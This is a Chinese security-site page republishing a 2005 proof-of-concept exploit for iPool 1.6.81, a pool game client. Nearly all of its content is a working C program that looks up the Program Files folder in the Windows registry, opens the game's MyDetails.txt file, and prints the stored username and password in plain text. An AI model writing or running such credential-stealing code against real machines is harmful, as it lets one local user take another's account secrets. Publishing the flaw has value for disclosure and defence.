首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
iPool v1.6.81 Local Password Disclosure Proof of Concept Exploit
来源:www.netmagister.com 作者:Kozan 发布时间:2005-03-17  

iPool v1.6.81 Local Password Disclosure Proof of Concept Exploit

/*************************************************************

iPool <= v1.6.81 Local Password Disclosure Exploit by Kozan

Application: iPool 1.6.81

Vendor:
Memir Software - memirsoftware.com and
The Pool Club - thepoolclub.com

Vulnerable Description:
iPool 1.6.81 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

**************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL,
NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen >
BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured. Can't get
password!\n");
return -1;
}

RegCloseKey(hKey);

}
else
{
printf("An error occured. Can't get password!\n");
return -1;
}

printf("\n\niPool 1.6.81 Local Password Disclosure Exploit by
Kozan\n");
printf("Credits to ATmaCA\n");
printf("kozan@netmagister.com\n");
printf("www.netmagister.com - www.spyinstructors.com\n\n");


char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];

strcpy(pwdfile,strcat(prgfiles,"\\ThePoolClub\\iPool\\MyDetails.txt"));

int addr, i, y;
FILE *fp;
char ch[100], ch2[100];

if((fp=fopen(pwdfile,"rb")) == NULL)
{
printf("An error occured. Can't get password!\n");
return -1;
}


fseek(fp,0,0);


for(i=0;i<30;i++)
{
ch[i]=getc(fp);
if(ch[i]==0x0D)
{
ch[i]=NULL;
strcpy(username,ch);
break;
}
}

addr = ftell(fp);
fseek(fp,addr+1,0);

for(y=0;y<30;y++)
{
ch2[y]=getc(fp);
if(ch2[y]==0x0D)
{
ch2[y]=NULL;
strcpy(password,ch2);
break;
}
}

fclose(fp);

printf("Username : %s\n",username);
printf("Password : %s\n",password);

return 0;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·iSnooker v1.6.8 Local Password
·GoodTech Telnet Server 5.x Rem
·PaX VMA Mirroring Unmapping Vu
·AWStats Remote Command Executi
·Freeciv Server 2.0.0 beta 8 Re
·OpenBSD TCP TIMESTAMP Remote D
·Frank McIngvale LuxMan Local B
·LuxMan -f Option Buffer Overfl
·Ethereal CDMA2000 A11 Dissecto
·Apple Core Foundation Library
·phpBB User id Auth. Bypass and
·Linux Kernel <= 2.6.11 sys_
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved